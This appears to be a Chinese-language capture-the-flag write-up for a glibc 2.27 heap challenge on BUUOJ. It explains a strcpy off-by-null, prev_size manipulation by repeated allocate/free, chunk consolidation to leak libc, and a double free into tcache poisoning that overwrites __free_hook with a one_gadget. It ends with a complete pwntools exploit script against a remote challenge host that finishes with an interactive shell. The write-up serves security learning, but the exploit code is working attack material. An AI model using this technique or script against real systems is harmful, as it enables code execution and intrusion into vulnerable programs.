add时用了strcpy函数,他在copy完对应字符串size的大小之后,会在最后加上一个’\x00’,这就造成了off by null,可以用来修改preinuse位来向前unlink合并,接下来就开始利用这点泄露libc,
首先,申请三个chunk,按地址序号为0 1 2 3,0 3 是大于0x408的unsortedchunk,3是防止top合并的chunk,2是tcachechunk,我们需要合并0 1 2,切片0,利用1泄露libc。
首先要设计好大小,我们选择size0为0x4e0,size1为0xf8(8是因为要off null),size3为0x4f0(为了chunksize写上0x501,需要01结尾才可以溢出修改)
设计好了后,就需要设计presize了,因为需要利用的是0 2两块chunk,所有必须得按照0 1 2的顺序申请chunk,意思是第一次申请1时,无法直接溢出,一定是free后申请回来的时候溢出。但本题中,free时它会将整个data写满0xda,而且他是用strcpy进行写入,这就导致什么p64(0x80)类似的,前面的0都无法写入,比如payload结尾加上p64(0x80),申请回来后,presize位会为0xdadadadadada0080,无法当作presize。
所以,这个题重点来了,因为chunk中0xf1-0xf8都会被当作同一类chunk,所以循环申请free,申请free这些chunk的任意一个,其实都是在对同一个chunk进行操作,这里思路就来了,先free0进入unsortedbin(出现fdbk等着unlink),1进入tcache(等着申请溢出),我们对1,首先第一次选择申请0xf8写满,这样溢出的00就会写入到chunk2的size里,变成0x500,再freechunk1,在申请0xf7,这样就会将最高位写为00,也就是0x00dadadadadadada,之后free在申请0xf6,就会0x0000dadadadadada…依次申请写入下去,直到变成0x000000000000dada,之后申请0xf2,最后写入前面的chunk大小(0x5f0),\xf0+\x05,不再free,就完全调整完成了。
此时free2,他就会合并前面的,而且chunk1还在我们手上,之后申请chunk0,就会让chunk1中出现libc。
拿到libc之后,因为指针被清零,无法uaf转doublefree,但是!此时我们可以发现,chunk1在unsortedbin链表中,但同时也在我们手中!所以已经有一根指针指向chunk1,此时如果在申请一个chunk1大小的chunk呢?就会又有一根指针指向chunk1,此时free这两根指针,不就是doublefree吗,所以接下来改写free hook为ogg就行。但此时又有个神奇的问题,我的ogg显示的是0x4f3c2,一共三个值,但是远程time out,本地却可以通。而且发现别人是四个值,最后用的别人的0x4f322打出来了
from pwn import *
from LibcSearcher import *
#context(os='linux',arch='amd64',log_level='debug')
p = remote("node4.buuoj.cn",25951)
#p = process("./tcache")
#libc = ELF("/lib/i386-linux-gnu/libc-2.27.so")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def add(size, content):
p.recvuntil("Your choice: ")
p.sendline('1')
p.recvuntil("Size:")
p.sendline(str(int(size)))
p.recvuntil("Data:")
p.send(content)
def free(index):
p.recvuntil("Your choice: ")
p.sendline('3')
p.recvuntil("Index:")
p.sendline(str(index))
def show(index):
p.recvuntil("Your choice: ")
p.sendline('2')
p.recvuntil("Index:")
p.sendline(str(index))
add(0x4e0,"a"*0x20)
add(0xf8,"a"*0x20)
add(0x4f0,"a"*0x20)
add(0x10,"b")#3
free(0)
free(1)
for i in range(7):
add(0xf8-i,'a'*(0xf8-i))
free(0)
add(0xf2,'a'*0xf0+'\xf0'+'\x05')
free(2)
add(0x4e0,"a"*0x20)#1
show(0)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-96-0x10-libc.sym["__malloc_hook"]
log.info("libc_base="+hex(libc_base))
add(0xf8,"a"*0x20)
free(0)
free(2)
add(0xf8,p64(libc_base+libc.sym["__free_hook"]))#0
add(0xf8,p64(libc_base+libc.sym["__free_hook"]))#1
add(0xf8,p64(libc_base+0x4f322))#2
free(0)
#gdb.attach(p)
p.interactive()